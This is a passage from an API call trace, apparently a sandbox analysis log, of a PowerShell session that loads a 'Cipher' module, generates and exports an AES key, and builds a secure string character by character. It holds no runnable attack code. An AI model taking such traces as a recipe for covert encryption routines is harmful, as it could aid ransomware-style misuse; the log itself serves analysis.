Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.886] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.886] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.886] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.886] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.886] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.886] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.890] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.890] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.890] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.890] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.891] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e028b0) returned 1 [0133.891] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0133.891] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.891] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.891] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x691da50, pdwDataLen=0x99ae894 | out: pbData=0x691da50*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.891] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xd9e0\x691\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0133.892] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.892] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.892] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.892] SysStringLen (param_1="") returned 0x8 [0133.892] SysStringLen (param_1="N") returned 0x8 [0133.892] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.892] SysStringLen (param_1="簚᩿桔\x93ꑴ䥲") returned 0x8 [0133.893] SysStringLen (param_1="簚᩿桔\x93ꑴ䥲") returned 0x8 [0133.893] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.893] SysStringLen (param_1="NI") returned 0x8 [0133.893] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.893] SysStringLen (param_1="\xf907\x9be4\xc2e9\x55b8\xa596\x2fe8\xb85\xc7d1") returned 0x8 [0133.893] SysStringLen (param_1="\xf907\x9be4\xc2e9\x55b8\xa596\x2fe8\xb85\xc7d1") returned 0x8 [0133.893] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.893] SysStringLen (param_1="NI2") returned 0x8 [0133.893] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.893] SysStringLen (param_1="\xd8ec\x69ba\xd2fc\x3850\xfe1f\xdb8\x49d7\x7081") returned 0x8 [0133.893] SysStringLen (param_1="\xd8ec\x69ba\xd2fc\x3850\xfe1f\xdb8\x49d7\x7081") returned 0x8 [0133.893] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.893] SysStringLen (param_1="NI22") returned 0x8 [0133.893] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.893] SysStringLen (param_1="呀睖쇭侖飹") returned 0x8 [0133.893] SysStringLen (param_1="呀睖쇭侖飹") returned 0x8 [0133.893] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="NI22M") returned 0x8 [0133.894] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="\xe170\x4d9d\x8f6f\x3ab8\x2922\x84de\xe1b6\xfc5e") returned 0x8 [0133.894] SysStringLen (param_1="\xe170\x4d9d\x8f6f\x3ab8\x2922\x84de\xe1b6\xfc5e") returned 0x8 [0133.894] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="NI22Ml") returned 0x8 [0133.894] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="\x3e67\xc1da\x48c6\x635b\xda57\x439b\xfb37\x7edf") returned 0x8 [0133.894] SysStringLen (param_1="\x3e67\xc1da\x48c6\x635b\xda57\x439b\xfb37\x7edf") returned 0x8 [0133.894] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="NI22Mlr") returned 0x8 [0133.894] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="\x2c4\x494\xcea2\x434f\x80f3\xea18\xc96c\x5c9d") returned 0x8 [0133.894] SysStringLen (param_1="\x2c4\x494\xcea2\x434f\x80f3\xea18\xc96c\x5c9d") returned 0x8 [0133.894] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="NI22MlrK") returned 0x8 [0133.894] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.894] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7") returned 0x8 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7") returned 0x8 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7") returned 0x8 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7") returned 0x10 [0133.895] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.895] SysStringLen (param_1="NI22MlrKg愱駖ᜣ⥶퇪⑐嘤") returned 0x10 [0133.895] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x85b6\x5b4a\xd7ff\xcb95\x68a4\x6937\x34c\x39a4") returned 0x10 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x85b6\x5b4a\xd7ff\xcb95\x68a4\x6937\x34c\x39a4") returned 0x10 [0133.895] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.895] SysStringLen (param_1="NI22MlrKgL駖ᜣ⥶퇪⑐嘤") returned 0x10 [0133.895] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x6a0e\x47a3\xd4cc\xe677\xd1a7\xa42d\x8b33\xc526") returned 0x10 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x6a0e\x47a3\xd4cc\xe677\xd1a7\xa42d\x8b33\xc526") returned 0x10 [0133.895] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.895] SysStringLen (param_1="NI22MlrKgL9ᜣ⥶퇪⑐嘤") returned 0x10 [0133.895] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x19e0\xb3dc\xdfbf\x681b\x17dd\x4e10\x3b8\xa804") returned 0x10 [0133.895] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x19e0\xb3dc\xdfbf\x681b\x17dd\x4e10\x3b8\xa804") returned 0x10 [0133.896] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="NI22MlrKgL9P⥶퇪⑐嘤") returned 0x10 [0133.896] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x8af8\xdb23\xb2f7\x9d08\x5df1\x68f7\xc613\xff1d") returned 0x10 [0133.896] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x8af8\xdb23\xb2f7\x9d08\x5df1\x68f7\xc613\xff1d") returned 0x10 [0133.896] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="NI22MlrKgL9P8퇪⑐嘤") returned 0x10 [0133.896] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x8e5f\x908a\x1c2f\x733f\x2952\x4a94\xb523\x82d6") returned 0x10 [0133.896] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x8e5f\x908a\x1c2f\x733f\x2952\x4a94\xb523\x82d6") returned 0x10 [0133.896] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="NI22MlrKgL9P8G⑐嘤") returned 0x10 [0133.896] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x939d\x4448\xda0f\x23ae\xfbeb\xa090\xc770\x5d48") returned 0x10 [0133.896] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x939d\x4448\xda0f\x23ae\xfbeb\xa090\xc770\x5d48") returned 0x10 [0133.896] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.896] SysStringLen (param_1="NI22MlrKgL9P8GL嘤") returned 0x10 [0133.897] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\xaab9\x13b6\x47bf\x381a\x4bfb\x8f13\x3409\x2d04") returned 0x10 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\xaab9\x13b6\x47bf\x381a\x4bfb\x8f13\x3409\x2d04") returned 0x10 [0133.897] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.897] SysStringLen (param_1="NI22MlrKgL9P8GL/") returned 0x10 [0133.897] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73") returned 0x10 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73") returned 0x10 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73") returned 0x10 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73") returned 0x18 [0133.897] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.897] SysStringLen (param_1="NI22MlrKgL9P8GL/N⸾걫睔꿏⣟캠") returned 0x18 [0133.897] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x9d59\xb73b\xf58e\xce69\x9d76\xe283\xb4d7\xa0ea") returned 0x18 [0133.897] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x9d59\xb73b\xf58e\xce69\x9d76\xe283\xb4d7\xa0ea") returned 0x18 [0133.897] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="NI22MlrKgL9P8GL/NT걫睔꿏⣟캠") returned 0x18 [0133.898] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xbfbf\x80a0\x9bfb\x6ef0\xc5ca\x9400\x87c7\x471a") returned 0x18 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xbfbf\x80a0\x9bfb\x6ef0\xc5ca\x9400\x87c7\x471a") returned 0x18 [0133.898] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="NI22MlrKgL9P8GL/NTa걫睔꿏⣟캠") returned 0x18 [0133.898] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x1e6f\xdba8\x388d\x2e31\x1f4a\xe0c0\x2eee\xc42b") returned 0x18 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x1e6f\xdba8\x388d\x2e31\x1f4a\xe0c0\x2eee\xc42b") returned 0x18 [0133.898] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal睔꿏⣟캠") returned 0x18 [0133.898] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xea3a\xc9c8\x4874\xf69c\xb613\xcebc\x67fd\x57fe") returned 0x18 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xea3a\xc9c8\x4874\xf69c\xb613\xcebc\x67fd\x57fe") returned 0x18 [0133.898] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7꿏⣟캠") returned 0x18 [0133.898] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xf57c\x74d6\xbe5c\x5572\x5e4d\x7710\xfce8\x497d") returned 0x18 [0133.898] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xf57c\x74d6\xbe5c\x5572\x5e4d\x7710\xfce8\x497d") returned 0x18 [0133.898] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.909] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7A⣟캠") returned 0x18 [0133.909] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xacd\x451d\x4cb6\xd89c\x168a\x6cb3\x801c\x2116") returned 0x18 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\xacd\x451d\x4cb6\xd89c\x168a\x6cb3\x801c\x2116") returned 0x18 [0133.909] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.909] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7Al캠") returned 0x18 [0133.909] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x1bbd\x1467\x22d7\x8f71\xe074\xd094\x94fd\x1677") returned 0x18 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x1bbd\x1467\x22d7\x8f71\xe074\xd094\x94fd\x1677") returned 0x18 [0133.909] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.909] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlF") returned 0x18 [0133.909] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b") returned 0x18 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b") returned 0x18 [0133.909] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b") returned 0x18 [0133.910] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b") returned 0x20 [0133.910] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.910] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFU蚷爔篇麇ᦚ㨀邸") returned 0x20 [0133.910] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.910] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x66d8\xd55f\xbc26\xcea\xcf0d\x5bd6\x9e7b\x406f") returned 0x20 [0133.910] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x66d8\xd55f\xbc26\xcea\xcf0d\x5bd6\x9e7b\x406f") returned 0x20 [0133.910] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.910] SysStringLen (param_1="NI22MlrKgL9P8GL/NTal7AlFUn爔篇麇ᦚ㨀邸") returned 0x20 [0133.910] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.910] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\xb57e\x9a4b\xa0b4\x510\xb817\xd47b\xc67f\x2c2c") returned 0x20 [0133.910] SysStringLen 